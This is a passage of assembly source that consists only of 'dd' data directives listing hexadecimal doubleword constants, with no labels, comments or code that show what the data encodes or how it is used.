2DB94365h, 496B11D9h dd 204E384h, 85172BB0h, 0E76D44CBh, 0E44508B7h, 0DDBB1DFEh dd 0F8E205FDh, 0F33FC7A6h, 76B8F884h, 0E27D248Ch, 9D4EED45h dd 0B89051E1h, 6AE7B22Dh, 339C6D7Dh, 79A6F2F6h, 0DBAD48B3h dd 84DC02C7h, 0E4D306D2h, 8D5685EBh, 67E8DEADh, 76FCC751h dd 61E2D71Ah, 17ED9633h, 0F449A461h, 3193ED4Bh, 0ECC5E846h dd 0A5E7316Dh, 0EDCE8659h, 49283BC2h, 8B2DCC85h, 0F181F5F7h dd 315BAD2Ah, 0FB756DEFh, 0A9BAE26Dh, 3E8A5175h, 4128C7B3h dd 0F870C2C6h, 4230FAE7h, 0C71F3E4Ah, 26F17562h, 47A4EAF7h dd 0F8E285F8h, 8A4D7A4h, 54EDEB46h, 0F449209Dh, 0A2EC6D63h dd 0CDC49CF3h, 0B9C776F7h, 11C9C4D7h, 3B29E726h, 6EF16A7Dh dd 45596B50h, 0E7B360EBh, 0B89D20B7h, 0A1D2F660h, 58895175h dd 6966B30Eh, 0CAAD68BFh, 76A568A4h, 0E7B739CDh, 6B3D8E2Bh dd 280BC2F9h, 2DCC0641h, 81F5F74Eh, 9F3729F1h, 756D6CF7h dd 93A76DF3h, 89CE481Bh, 0A8D7DF78h, 78FD866Dh, 496AE7BAh dd 0E8ADD946h, 0F0B536A4h, 51D6B8E9h, 0F944616Bh, 0AFC7DFA3h dd 0B0859971h, 0B503E77Ah, 0C67CCA3Ch, 0FF2894F7h, 64C72D5Ch dd 0F004C0FEh, 3C02EBC2h, 0AD8223A5h, 0A53F22A0h, 8AD2B09Fh dd 0EFF083B4h, 0E7DF2D92h, 0F8064D64h, 6BE719BCh, 7ACD8561h dd 0A87BB05Dh, 9FFAE904h, 46922BEh, 131904C4h, 0B42271A0h dd 0B6BDE736h, 2D4D7BE8h, 235FF79Bh, 1302FD46h, 0FA456D51h dd 0E7376DAEh, 0E505E4FEh, 0D824D722h, 12FD070Ah, 0B918D7C8h dd 792D765Ah, 0FA81D9F7h, 21EEF4D0h, 0B1E341E4h, 0D6D7F8EDh dd 0F4CA84E0h, 0F47D21EAh, 0F76DAC56h, 0C4C4F7E7h, 0D71FEDEDh dd 0C5C76965h, 0A99141ADh, 0CCC3C465h, 55A4A1F7h, 46D48822h dd 62DEB631h, 3D84A4ADh, 0E0215165h, 0F1BFF034h, 0ADEDC5C8h dd 0D9B39169h, 0F0A4D260h, 843AEB8Fh, 91D23EF0h, 0C68645AAh dd 2013981Ch, 36CDC669h, 7966D732h, 49BBF0C6h, 85A24081h dd 0F7E047ECh, 0BC0C6DE8h, 6DF7DD2Dh, 6D2045Dh, 416D91D5h dd 0B5EDAE29h, 62FBF6C7h, 0D7D12D92h, 229D996h, 0E0D7B186h dd 2DFE0569h, 0EB991115h, 71F8E2C4h, 0ADE3D8E7h, 9389EDB2h dd 8DA16566h, 0A4A14CD1h, 3687AD5Dh, 3E7C700h, 20EDBEE8h dd 4A0CEF2h, 0D707F4FEh, 0DE878043h, 0C7F7D7EDh, 0DFC1C7F4h dd 796BD755h, 0E5C9C004h, 583619Ch, 0FCF22DEAh, 652D6D68h dd 6549E0ADh, 2D8DC241h, 49E2E75Ah, 0F42D8EA1h, 2CE3C6C7h dd 0D71EFF9Dh, 0F785EF82h, 40E7048Fh, 87C5C566h, 0C4458397h dd 382DF446h, 398C7A63h, 79E0AD0Eh, 0EB8613F2h, 0C183932Dh dd 0AD90A1E4h, 6966D7A7h, 0E4AD90A1h, 0C6696DD7h, 0D7752DCEh dd 0CEC665E6h, 0C6C76A2Dh, 4F645EFh, 780EE7CAh, 0B4B69F0Dh dd 0B85D2AE7h, 0F707BF92h, 0CE065521h, 0AAD7D7EDh, 0EDFE8641h dd 0E010916Ah, 4804ABBCh, 45BE6941h, 0E0D0BFF2h, 0E585C8BEh dd 0BEC7F52Dh, 0ADBA33D9h, 0BC63E8D3h, 26FFA343h, 8DF0F56Dh dd 692CED44h, 0EA856D22h, 0AFC706EDh, 0CF784D75h, 456CC704h dd 9F37AA41h, 4D59EEC7h, 927DF128h, 4C8C6D62h, 1514246Dh dd 0BFC5043Bh, 0C0D2F7D2h, 5835FA84h, 0C571A9E7h, 0D796ADDFh dd 0D744716Bh, 84E7AFC7h, 0ED7DD5D2h, 0D7793F30h, 7E04EB05h dd 0C4EF40D7h, 0C7D287C5h, 0EC46C8FBh, 609D562Dh, 8B1FAD75h dd 68C3E7EFh, 1F2D7CFFh, 0D6D2FF7h, 1F4F0C76h, 98BE5120h dd 0C7F7B5BEh, 39E244FCh, 49645317h, 6904F6BFh, 0E9452ED7h dd 5170F458h, 93775125h, 54B54837h, 0E6C1A9D4h, 0D99625EEh dd 0C6F6D804h, 8DD9D1E7h, 25F66DA7h, 0C1A8D590h, 0ED25FEA6h dd 0A69D0F55h, 6DA2F7B5h, 4166EFEBh, 4BED5C05h, 4DCAAD2Eh dd 0DB2BFD1Fh, 0EE7A94Eh, 26EAEA78h, 13EFF7A2h, 26ED20AAh dd 6A7D6DC7h, 9D1126CBh, 0D9075D66h, 2CE72626h, 0E1EBF57Dh dd 712F8DE5h, 0CCCE306h, 0C4ABF4C7h, 0E72DEDF5h, 3841F4F4h dd 6D3891DCh, 6D27B16Dh, 656598A3h, 0E9E4F971h, 0B16DA3A8h dd 98A3AD38h, 0F97165E6h, 0EDB12FE4h, 0EDE50659h, 0FC77E7E4h dd 16EDE604h, 8469E951h, 0D7E430FAh, 0CF45716Bh, 6BE7E3ADh dd 6DD50651h, 0D436B393h, 0F574AC63h, 0C5F4F1A9h, 81B46DECh dd 0B5EE59E5h, 0A9C707ADh, 0EDF04645h, 45E95DECh, 0FAEDD246h dd 0E2712A90h, 0C7D1AD93h, 0E1C750BFh, 6DD7CBEDh, 0ADFEC565h dd 752A90E6h, 0E7EDC104h, 6656DD7h, 0E7A4FFC2h, 8D125569h dd 27F7CC2Dh, 6DA86145h, 51A5E774h, 0DF38ECC7h, 5716DD7h dd 0D755FCCCh, 0A1D28432h, 20E7DFEDh, 0ADA5DD69h, 4D6BE7F1h dd 0D778F407h, 0C74125A2h, 0B098EDE3h, 0AD0A4967h, 6BE7E038h dd 38D4C465h, 59A5A108h, 0E27492EEh, 45E4BED7h, 0D7E974D2h dd 0A373E4BEh, 0BED7ECADh, 0F78D32DCh, 0FCB4600Fh, 0E900CDC6h dd 2AC88DE7h, 0D7302D66h, 0DC0659E6h, 24E77AEDh, 0EDE00475h dd 45E4E77Fh, 3134E584h, 0C6FCC5C7h, 50A234FBh, 0D846C438h dd 0BF823A6Dh, 0EDDE45E4h, 692590D2h, 3A6DE4C7h, 4651E692h dd 0D7B434E7h, 0D584FC9Eh, 0A8D72BEDh, 0EDA56D61h, 94068211h dd 66ADD1C5h, 0C57D6DD7h, 0C7EDF7DAh, 0F5847D6Dh, 0A4E7C7EDh dd 0B3907365h, 0C4F6406Ah, 7EDBDDEh, 0C67D25C7h, 0C7E7EDE1h dd 0B1A25DE7h, 384C7BF4h, 34FB05F4h, 0E438C7EBh, 0EA34FBC4h dd 0C4F438C7h, 0D7F734FBh, 0F7075D25h, 0ED909873h, 0F4CDC649h dd 75607170h, 7E70C504h, 4641A6E7h, 0B2116DD8h, 0D7F1B42h dd 0E4448EDh, 2DCCC4B4h, 9FC9D78Dh, 6EDC504h, 85752D70h dd 0C747EDDCh, 0C70555E5h, 0E0069EDh, 2DCCC4A4h, 14F8D707h dd 26EDC105h, 8441ADE7h, 0E7EAFCC2h, 0B43E4DE1h, 605C9AADh dd 6D863E4Dh, 4D207C98h, 986DBA3Eh, 3E4D676Ch, 7C986DBEh dd 0B23E4D67h, 625C986Dh, 6DB63E4Dh, 4D227C98h, 986DAA3Eh dd 594D265Ch, 605BED1Fh, 0DF45178Ah, 8AF73B33h, 33DF058Bh dd 9F8AF738h, 3933DF04h, 45A38AF7h, 0F7FB33DFh, 0DF458B8Ah dd 8AF78633h, 0DACF4593h, 0A44AC7AAh, 6C03D044h, 87A04AC7h dd 0C77203D0h, 0D084A44Ah, 4AC7FA03h, 3D087B4h, 59A2F72Eh dd 716DEF44h, 0C765E5F7h, 22BB2DDFh, 0F5058F97h, 0A7E7B82Dh dd 0ADDB0549h, 792942F2h, 0C5BBB241h, 0C56126E7h, 405BEDEFh dd 80417928h, 0E24EF373h, 2DCC464Dh, 58B7D709h, 0ADED8FBBh dd 92692341h, 0F7397A89h, 0F3B7164h, 0A5D7B8EDh, 0ADD9C765h dd 59E5F7A5h, 0A0ADD145h, 46B9D9C7h, 50602DE2h, 8C4145E5h dd 0F8D7CE2Dh, 0ADFBC520h dd 716BF7EDh, 0AC03D887h, 0C6904AC7h, 2051C4EDh, 0EDC671ADh dd 35F7EAC4h, 3D045D4h, 0D035F76Ah, 0EFCE5C4h, 6B847F70h dd 7E082DAFh, 9FFF5DA2h, 2660418Bh, 73EFC551h, 5565C7EAh dd 0A7ED993Fh, 5ECC7F7h, 0F71AFCEDh, 0E2468044h, 7793E7ADh dd 0EDE4C4ECh, 416C816Eh, 0A6CCD7C6h, 0C16566B1h, 0F7EA739Bh dd 0EDC5596Bh, 0A1606AFCh, 0ADEF0475h, 0A3094454h, 59B42E21h dd 5E7787E7h, 0E7E66DAFh, 0DCC76565h, 35F7322Dh, 7CEB46E0h dd 65278183h, 0E9B4B42Ch, 449C8FF7h, 52E3ADEDh, 8F7E0C7Fh dd 0D04E4FBCh, 0ED912077h, 41A6F7F8h, 0CCEDD921h, 0BF516591h dd 0F7EBAD4Bh, 0EB47756Bh, 0A0AF2F7Ch, 6D204065h, 0EF3DC741h dd 88ADAF23h, 4649A6AFh, 0A1F8ADDDh, 0F6047566h, 37857B74h dd 94C545C8h, 6123F7B8h, 88ED8003h, 464966AFh, 0A1F8ADF6h dd 0B7CD65E1h, 0E7C79B64h, 2A8D84Dh, 7120E79Bh, 0F5ADE304h dd 0BD45E1C7h, 2142B34Fh, 0D105D4B2h, 72F728ADh, 0ADB0C3E1h dd 41E75B66h, 63725D01h, 2145A221h, 0E7D17497h, 9C5F7C75h dd 4B12B70h, 0EDEDC49Ch, 5DA3A137h, 799332E0h, 36125D7h dd 83E76D88h, 0DCC730E5h, 0E6AF76EDh, 0EDDDBC79h, 8006A3E7h dd 0DA6DD346h, 44CC9BD7h, 0C71FEDECh, 0EF444D24h, 64C71FEDh dd 0EDE2444Dh, 4DA4C71Fh, 6170C044h, 0C54963C7h, 0C7662DCEh dd 0CEC55563h, 63C7672Dh, 2DCEC571h, 7D63C764h, 7F70C3C5h dd 8061A5E7h, 0F7E7B489h, 0D7C57D6Bh, 9B91C052h, 0ED9871B4h dd 0CC715111h, 0E37CEB47h, 0C665ED13h, 0D79FEDE7h, 0EFE35DEFh dd 8BD7F66Dh, 0ED8EA3C0h, 5127F71Fh, 0AEFEE02Eh, 85596BD7h dd 33A427D8h, 0C5047526h, 0A78183ADh, 6DDB4649h, 5495759Ah dd 0B6ADD104h, 4648D7C7h, 83256DCEh, 0EC4648CAh, 6B5990ADh dd 4CF4C461h, 4D69E725h, 2F2E1C7h, 4712620h, 0E786EDD3h dd 0DEC561E0h, 58D770EDh, 6DE545A0h, 51E5C7BBh, 1836F405h dd 0C5696520h, 0D7D581EEh, 0F04649E5h, 901536EDh, 2DCE05DFh dd 0DECAC790h, 1F37B643h, 9B59E0C7h, 0D7762D8Ch, 0A78E449Bh dd 0ED11B602h, 0EDED447Dh, 0D433ADF1h, 1FB3E685h, 141E6D7h dd 8DC17B74h, 0FA85C43Fh, 42B18146h, 0F1EA44DCh, 0CCC75222h dd 1FEDEA44h, 6A5DE4E7h, 6247EDB5h, 0DFC4E042h, 0E5D71FBFh dd 0EDF4444Dh, 4920F7F3h, 0ACB3E384h, 0C769EAE0h, 0E7ECADDBh dd 0DD0471E5h, 672D8AB3h, 748B9549h, 756BD7EEh, 0D976C0C5h dd 5656B21h, 61892DDEh, 0C045F413h, 0AA90E9C0h, 0ADED0580h dd 7DA2E7ECh, 78F1F345h, 0C749E440h, 0D7EDADF5h, 0FDC74DE0h dd 5BD7E1ADh, 6DED05E4h, 5DE6C7E2h, 0E670FE84h, 84A42FC7h dd 0F787EDCDh, 8975A4E7h, 0FFE0A8EDh, 0C9F64534h, 75A2E7F7h dd 0F3B3C0C5h, 0B57DE9D7h, 6261B493h, 0A0D455E1h, 25F0F734h dd 345AF449h, 4925C0F7h, 27F741F4h, 0C6F81FD7h, 0E7E2ADE5h dd 0EEC564F5h, 0E1E707B1h, 2DD20555h, 6564D7D3h, 0DD6DE6C6h dd 0C669E5D7h, 0E7BB6DE6h, 0AE2A6125h, 0E1F707EDh, 0EDB4A369h dd 0A0CDA16Ah, 7EDF5C4h, 0C749E5F7h, 0D7EDADF4h, 0E9C461A9h dd 5EEC66EDh, 74F585E4h, 6167D7A5h, 47B6CBC4h, 4445E9D0h dd 0D7252DE1h, 0F3C565E1h, 62E7DFADh, 0CCD70779h, 75E58168h dd 0D0AD8DB4h, 44332FD7h, 0F72461D0h, 0C4468061h, 63A3E72Dh dd 49CAC655h, 0A5AEF7B6h, 9FEDA6B6h, 0B67169F7h, 0E7E72D45h dd 0D005B3EEh, 0A5E0D161h, 6DD44641h, 6D28EC90h, 88ED7816h dd 0C5B0E8E4h, 0F7832DCCh, 0D78687A8h, 0AEF7A409h, 0EDA3B6A5h dd 71EDF79Fh, 0E46D75B6h, 4693EEE7h, 0D4976DD3h, 0CC46C04Eh dd 66EC90ADh, 41D5C565h, 0A5F1E790h, 0E437BFB6h, 4745632Ch dd 0E78AC8DFh, 0ACB6A5F1h, 4CF79FEDh, 997F6E7h, 0A5F1E78Ch dd 9FEDAFB6h, 0B671E7F7h, 0FE592D75h, 0F5F0652Dh, 6BF72731h dd 1F0C541h, 3376C7C3h, 0D1A0E504h, 464125E0h, 0A3462DD4h dd 7857987Ch, 0E8A4F5ADh, 2DCCC590h, 0A7B9F793h, 0B4C8DF47h dd 0B6A5F1E7h, 0F79FEDABh, 51F271E9h, 27FE0E6Dh, 31F5F065h dd 416BF726h, 0D600E047h, 8533EAC7h, 0E0D1A0E5h, 0F44641E4h dd 69AC946Dh, 2D58166Dh, 6AEC788h, 1FEDB4F4h, 444522E7h dd 0EE0EADC9h, 0ED3D656Bh, 6BD761B1h, 2DA16479h, 65E8DE59h dd 21B1ED3Dh, 44C4DCC7h, 0CE0E6DD9h, 0ED3D652Eh, 6BD7E0B1h dd 0F3CD0551h, 656FBE6Bh, 0A0B1ED3Dh, 45456BD7h, 0C7D5ADCDh dd 0D58737EAh, 0A4C0F7E3h, 0EDF64649h, 1BEA403Ch, 0F7E3D504h dd 0F449A4D0h, 0C7CBAD8Dh, 0D5440FEAh, 60FC3BFBh, 2D8D3459h dd 45E96057h, 0DB71E785h, 475E5F7h, 2150EDE8h, 0B3E079A5h dd 0A2E7A436h, 0B1F7C569h, 3CE0D021h, 62EDA6AAh, 0E0EC98C0h dd 0D7663BB2h, 0C5C59B48h, 0EA335F23h, 2DF84645h, 0D4B62383h dd 0C32D8DA8h, 2F612AF7h, 0E76136B3h, 0CD4555A2h, 0D4C7462Dh dd 0ED873E0Fh, 6DADE7DFh, 0BFED6399h, 44D6B61h, 4053CAF7h dd 0D5464525h, 81E61ADh, 0F9B794A0h, 0A8E4C031h, 0ECADD9C7h dd 0C575A5E7h, 0E7B83ECEh, 0F64645E1h, 0B62261ADh, 3496ECCCh dd 45273A61h, 0E2ADE546h, 4645E71Ah, 3A6CEDD3h, 0C9464564h dd 251AE9EDh, 0EDC74645h, 7DA53A6Bh, 0CB8267D8h, 45D2EC7h dd 0F0A4ADE7h, 0E4866D2Fh, 0A2311FF4h, 0AD832E75h, 0DCD2C7E4h dd 0E0EDE9C4h, 655A330h, 0E7B8B4F5h, 0E3C67925h, 0A5D7D9EDh dd 2D8D3765h, 65EEE706h, 6EADA5DAh, 47792BA1h, 0C8BCEAh dd 0CB85F43Fh, 0F1E733F4h, 6DC14404h, 7D2AD20Eh, 0DFEDF104h dd 0BA6D20C7h, 83E52D79h, 0A6DABCBDh, 24E7D46Dh, 0ADE0C741h dd 0FCB6E7E6h, 0DAADE0C6h, 0C59488F7h, 253ADF3h, 0EB04E837h dd 0E041917Ch, 0ADE8C788h, 0E83FC7D8h, 722DA3B7h, 0C741A3E7h dd 0A3A5EDE8h, 0E7C641E5h, 95210C2Dh, 0FCE485B7h, 75A1E758h dd 0F837C245h, 376DA5D7h, 0F7C86DA2h, 0EB84C0F5h, 5FF755FCh dd 3AFF84A8h, 65EB3A48h, 726DAED0h, 0C771E4E7h, 0F7B32DFEh dd 0FA46C458h, 0F5F7666Dh, 32F884E8h, 49298F6Eh, 352DCC84h dd 0C071A0D7h, 0E79F71B7h, 0B48061E8h, 6EE7CBADh, 0BCE5C761h dd 61A7F784h, 4D72BDE1h, 0C69B5CD7h, 23B92DF4h, 0F605452Bh dd 20F707ADh, 0B5F3C545h, 692D3209h, 0A8EDE107h, 6BC9073h dd 22C9FAF6h, 0DB057D63h, 2DB17B2Dh, 0ADF9C769h, 49E0A3C1h dd 0DF2DEEC7h, 2A6569F7h, 0F7C77C85h, 0D18464BEh, 0A5E7DF02h dd 74848061h, 6EFEC7CFh, 0D82DCDC5h, 0C750F4D7h, 0C7D76DDEh dd 0ACE17CFEh, 0A5E7346Dh, 36ABA279h, 7D25E734h, 0E7EDA103h dd 75A45991h, 0E7B607B8h, 0C9075DE4h, 0A083C1EDh, 2DBD6279h dd 65ED5D63h, 0F0049FE5h, 84473AD7h, 0D7C77CF5h, 0D94645E5h dd 37D74CADh, 33FA7A58h, 0AC7AE761h, 77448216h, 0AD7C3FE7h dd 0F0A57695h, 0AF776DA3h, 0A991A674h, 2D4D6265h, 79E7D76Bh dd 8DED75FAh, 2241A2A1h, 0E7DFF772h, 0D6454568h, 0C4C0583Ch dd 0CFFC07D6h, 0D4C7202Fh, 25DFC647h, 465747D7h, 0C7DEC7D4h dd 0DF465486h, 0E7C719DFh, 0F78AC071h, 45A5737Ah, 4144F585h dd 465BC0D7h, 45736DC0h, 0FAC578BEh, 0C7D7CCFFh, 0BFE70752h dd 616B6160h, 682D4D2Dh, 0D4D6B63h, 63876D08h, 0B4CCDB89h dd 2F4F31ADh, 0C7FFAF59h, 5404D7E7h, 0FADFC687h, 46774EE7h dd 0C7DCC7D4h, 0DF467486h, 9D7FEDFh, 0BFAAE97Bh, 53C0D7E1h dd 6367FA44h, 8D59657Dh, 5B2D6DBDh, 450F4566h, 0EB6DA92Dh dd 2D850D7Dh, 59675B6Bh dd 36B66DCEh, 45792953h, 0D7EE87F1h, 6FADCD0Ch, 0AC6322EDh dd 2D1F4D69h, 0D4844387h, 0D2C7D486h, 865486C7h, 0F75FDFDFh dd 6CEC69E7h, 2D433676h, 2D4E8855h, 0FD40C7CCh, 22EDAE03h dd 4D69EC63h, 2F3B6D1Ch, 7D2D6168h, 6863682Dh, 6D0C0D4Dh dd 0D8590F41h, 0F2ADA8CCh, 6B696F0Fh, 0E2A2C7FFh, 0C6C74563h dd 52D7FBDFh, 0C7D40757h, 0A02CD7CAh, 0CA74AF42h, 46C446C7h dd 1F41ADCDh, 0A9CC9825h, 633FF2EDh, 0C7FF6B69h, 0F4C760D9h dd 28DFC6C7h, 0F5F11AF7h, 0E72CD1E8h, 0AEE09DA4h, 80E76C2Dh dd 66C645C7h, 0A48A7D63h, 2DAD996Dh, 8B6DAA4Bh, 0F7D0F7B3h dd 0D386F7C6h, 46C7D0FFh, 0EDC5467Eh, 982D7D35h, 0FD6DAFCCh dd 4769ABDEh, 8348A7FFh, 956DA44Ah, 0AE7B2DADh, 2D751459h dd 7DE86DA9h, 6B2DB50Dh, 977DAF7Bh, 7336316Bh, 43546561h dd 44C40C6Dh, 0FFFA85E7h, 76C7D7FFh, 0D989DA04h, 6E7C6F7h dd 0C7D9FFD3h, 0F3447646h, 1902649h, 89C5C544h, 8DAFD7BCh dd 22ED74ADh, 4D69E363h, 0EE3AED16h, 692D6129h, 2963682Dh dd 0ED060D4Dh, 0E40DE240h, 41B8EB06h, 69E949h, 0D722F48Eh dd 72AD8DAFh, 6061EDF2h, 2D084D69h, 0C484C240h, 0D7C7D4C6h dd 0C64486C7h, 0D792DFDFh, 73EC6924h, 0ED733670h, 2D7B5041h dd 0FD40C74Dh, 22EDB603h, 4D69A063h, 0AEC76D09h, 612D61A9h dd 0A963682Dh, 6D390D4Dh, 98B89E02h, 0BFADA5CCh, 33652CBEh dd 0D7E0C7FFh, 0C6846404h, 7DE73FDFh, 0C7D4C627h, 7886C7D5h dd 33D79EE1h, 0E13B3CD7h, 0E71ABFAAh, 0B961483Fh, 4484C9ADh dd 0FFFA85F3h, 4EC7D7F7h, 6548ED45h, 468565C4h, 0BE02EDFFh dd 0C9071F64h, 0A4E74A7Ch, 2D4D226Dh, 38FEE760h, 67AD91DFh dd 86A8D4E7h, 736074F3h, 0D7C5D7C6h, 0ABD2E142h, 0BCE0855Dh dd 607D8144h, 0FD2DE6C7h, 0C748FEC7h, 0D7DF2DE6h, 455D55E4h dd 42F78D2Dh, 63E74689h, 0A0E47447h, 467BF007h, 46BC8F7Ch dd 912FBFE7h, 0CD7F5DEEh, 0CDC7C72Dh, 0F1F4FF8Dh, 8D49D7C4h dd 440BB02Bh, 0FAB50FC7h, 744763A7h, 0EE84B8E4h, 2DE7DF23h dd 0AD7C9E71h, 5D6B644Eh, 52DF145h, 0FC814D54h, 0D7DF23AEh dd 499E7120h, 6B644EEDh, 0E2DA0559h, 90E47447h, 0D6EDF806h dd 9E71E644h, 0F7CD2D5Ah, 0DA848142h, 0E47447E2h, 0A2DA86A4h dd 71A5F7DFh, 62D779Eh, 84516B24h, 7447E2DAh, 0DA47A8E4h dd 4D71B1A2h, 6D806148h, 98E71406h, 0A163EF39h, 3859A2C0h dd 0D70F2DCDh, 0EA0407DBh, 2DE7DF62h, 63EEFFA8h, 0C5B5C0DDh dd 0E1ADDB46h, 0A17D619Fh, 0A5ED70CDh, 0B9E1E977h, 0E0B524F5h dd 0ED7B8165h, 696BA560h, 0EFE4C587h, 46D8F595h, 4C40EDF9h dd 0A19F500Dh, 35BD5FEDh, 0CCF585C8h, 792CD7DFh, 0ED6DFCA1h dd 0E1E977A5h, 0B3866D9Ch, 0F746DE75h, 6E91217Eh, 2DCD637Dh dd 0C5F7E78Dh, 0C6F4E661h, 46C5F9D7h, 8F962DE4h, 0E8637D2Dh dd 77A5ED37h, 0ADBAE1E9h, 692BAF86h, 744FEA3h, 844739F7h dd 0A01464C3h, 0E661C5F7h, 0F9D7AFF4h, 0ADFB46C5h, 7D679F96h dd 0C82DCD63h, 61C5F7E7h, 0D7DAF4E6h, 0D4E17964h, 2A8F96EDh dd 0E4F2875Dh, 61A8C7E5h, 73E4CC61h, 0A364CD21h, 0A5C0F38Fh dd 0F3064835h, 69A12179h, 0F6FCAF65h, 0E9776543h, 0C56DBCE1h dd 0C65D6B65h, 0E7030FE5h, 0C746C5CCh, 776543EDh, 0AD89E1E9h dd 0E47855C5h, 0C1AD4BCEh, 5756B65h, 95EF67FFh, 0E505D8F5h dd 0C9E01A67h, 67F5C463h, 0C54C809Fh, 61F4E661h, 46C5CDE7h dd 6FD5ADE2h, 0CDAF65A4h, 4CC7702Dh, 0F4E661C5h, 7964C79Ch dd 0D5EDFFE1h, 8751AB5Fh, 0C739E4F2h, 0E661C54Ch, 9CD7CBF4h dd 78BAF3FDh, 796E8121h, 45F4F16Bh, 0E1E97764h, 23006DAEh dd 0F646F4FCh, 0AE9D0364h, 6D61CA5Dh, 0DCF9350Ch, 25E4CDAAh dd 0AB79A0B1h, 1F5671FAh, 0CD6B79A0h, 4CC7772Dh, 0F4E661C5h dd 67DAF7EFh, 364F646h, 0CA5DA0ADh, 350CED44h, 0CDAF8CA3h dd 0EA8125E4h, 0E4E28541h, 7719C72Ch, 206DF906h, 0AF4DE395h dd 0B125E4CDh, 0CDF74DA9h, 8CF75B2Dh, 2DA2A128h, 596BE443h dd 0AD2DF2C5h, 0FFE577B5h, 0A1C179AFh, 0FEA36928h, 0E9F7D444h dd 61FF8723h, 85E8F0ACh, 7DF4E661h, 46856DC7h, 0EE956DF2h dd 0CDB74DA3h, 0E8F73B2Dh, 0F4E66185h, 856DC7A8h, 95ADCF46h dd 0B74DA6DEh, 0E49131DEh, 0ADE1E977h, 68EEDCEDh, 44FEA369h dd 23E9F7E8h, 0DF61FFC5h, 0B6612FC7h, 8125E4CDh, 0E28545E8h dd 0E9F724E4h, 6DFE8637h, 7165B920h, 739B436h, 464968E7h dd 0D729EDE7h, 0E7846968h, 7FC74FFCh, 2DB1723Ch, 45A5F731h dd 132D4DA3h, 0A168B5C7h, 944B6D8Dh, 0A330C078h, 22836520h dd 2D75926Dh, 652F9AD3h, 4BAD5952h, 0C6C434BAh, 0B5AD2DFFh dd 0E846C577h, 20BC51ADh, 64F6C655h, 6562BD03h, 61AD6352h dd 0F2496B64h, 0A5AFE484h, 0A2A5796Bh, 0FBE7F6E4h, 0E3F78503h dd 0E1B744F1h, 202D4FE1h, 85D9B5D7h, 0C7DE08C5h, 0D4A1796Ch dd 0F792D9ADh, 6D1841C9h, 0E4FC6241h, 364F606h, 0C3516BBDh dd 0C748F4B6h, 0E94685CFh, 7764CE2Dh, 6DA2E1E9h, 556B6441h dd 870BF707h, 4685CFC7h, 64CE2DE8h, 0BFE1E977h, 6B6441ADh dd 0BF7C759h, 85CFC7F2h, 0AD2DBC60h, 46C577B5h, 6441EDC8h dd 4A9EAC74h, 0F97A4DEDh, 0FBF94780h, 0F0F59414h, 0B443DAC5h dd 924569E7h, 5E51ED13h, 0C2B859E5h, 68BA57A2h, 0F6857Dh dd 0E78E7D4h, 100BF7C5h, 33496CF7h, 5271ADCDh, 88E1A9B9h dd 0E92E0D6Dh, 2D3B9245h, 0C8F453C5h, 0A25AD247h, 0BC6D6E91h dd 0A125E4CDh, 787B6922h, 0FCD7CAADh, 6D4DA3C9h, 69A23E92h dd 992DCD7Ah, 0A0B1C0C7h, 0E774B4F8h, 1E6068F5h, 61AF21ADh dd 2DCDA141h, 0B06BF7F4h, 0A3E4C861h, 46C5B6C7h, 9F21ADEBh dd 0CD3B7964h, 0F0E7422Dh, 2DD5C748h, 7DAA8297h, 99FCD784h dd 8175A4F7h, 0F7EFFCAAh, 0D1C4D30Fh, 65A0902Dh, 0ADFB8459h dd 41A3E733h, 0A5EDE8C7h, 0C6C0F5B1h, 81AE2DE7h, 0D2C751A0h dd 78D7E36Dh, 78CF44BFh, 0B78810Fh, 727CD684h, 745E9D7h dd 0C7BA6DCCh, 0A62365E1h, 0F5F7156Dh, 0EDC1C474h, 41E6D7E0h dd 0F76DECC6h, 0A269A5E7h, 0A111EDADh, 0B1A26925h, 64A111EDh dd 0EDB9A269h, 7525E707h, 5564FA45h, 0A171A5E7h, 0F77FADB2h dd 0D6C751E5h, 0E5C7D76Dh, 0AD8FE161h, 45A98165h, 76DC746h dd 85616BA3h, 0E70B44D6h, 8D024D6Fh, 4F7C22Dh, 6DADED48h dd 69EC7D66h, 4EAD798Dh, 6175228Dh, 0E709F481h, 0C206637Eh dd 60B1A56Dh, 2DA6A355h, 6968A096h, 0F06DDEC7h, 856035E7h dd 0C7ADADD1h, 0E0C6E8B4h, 0A2AD63EDh, 34D2857Dh, 79289FCBh dd 5F4C146h, 85616AE7h, 0E7056DECh, 0C404F3C1h, 0F981822Dh dd 0ADD906D0h, 6D28A354h, 85F4E4C6h, 44752BE7h, 91A5EDE6h dd 0E546D477h, 0A0C731EDh, 2DFCC7C8h, 712DF731h, 5A6DFDC7h dd 84652AD1h, 0E0F36DECh, 0ED87656Bh, 2A6DFBEDh, 6D962371h dd 5D6D5D2Dh, 0B86DEC06h, 0C74128E7h, 0C7DCADD8h, 87E5E406h dd 0ADF7267Ch, 0BFEF4569h, 57C3E707h, 0C4EDAA8Ch, 0CC4DA4E7h dd 0D7E1B7B9h, 0DBC5C84Eh, 0FE7A54Fh, 7CC747C4h, 496DD786h dd 0B66D6CE1h, 0ED61EAE7h, 73C72D89h, 0DDC679EDh, 0ABE7584Ch dd 0AD8DAE8Fh, 6965E7F5h, 0DBF4E7C4h, 0AE9CCAD7h, 0E76E2D4Dh dd 7C814DAFh, 0A99124ADh, 2DC9C471h, 716B7DCFh, 0DE34D484h dd 0E6D266Fh, 7F9BF0BDh, 1E0E5965h, 0D4F7B177h, 0C6FC0576h dd 0D74A01A7h, 0AC6DC646h dd 89616015h, 0D71A6DA0h, 0F405F84Eh, 6951C5FEh, 2DFF4645h dd 0CB74C764h, 0A1ED822Fh, 46F40C13h, 0E7D76DEEh, 0B6F0F28Dh dd 2B03A6EDh, 2D5D2C79h, 51A2F765h, 0FF17F684h, 0AEC38FD7h dd 63C77464h, 0DF06508Dh, 0EFC7E507h, 4EB00375h, 55A9E705h dd 8D37D9C5h, 0D712CD7h, 0C7866DA8h, 0E3C4C39Ch, 0CCE7E42Dh dd 37078BF4h, 4DAD8F8Eh, 0CB86BB4Eh, 617C82D7h, 0E79F2D81h dd 6608452Dh, 6571CEEDh, 74A10C79h, 51EDD774h, 2B7D904h dd 20416B61h, 0E7096DAEh, 4BAE7D60h, 48551136h, 7EF504CCh dd 7566E7C5h, 0AD77C945h, 6D5435E7h, 6B270691h, 4DAB65E3h dd 0A7D7AA2Dh, 0AD90A114h, 4563C7A2h, 0B22DCD85h, 0A14DACC7h dd 0AD91ED38h, 70827DE4h, 8AF7E734h, 0EDEB46C8h, 75E6E7ABh dd 9FEDC804h, 4579A22Dh, 0D7102DCEh, 0E80659E6h, 7AF7056Dh dd 6DEC84FBh, 0E8F3F728h, 303F8808h, 85756BE7h, 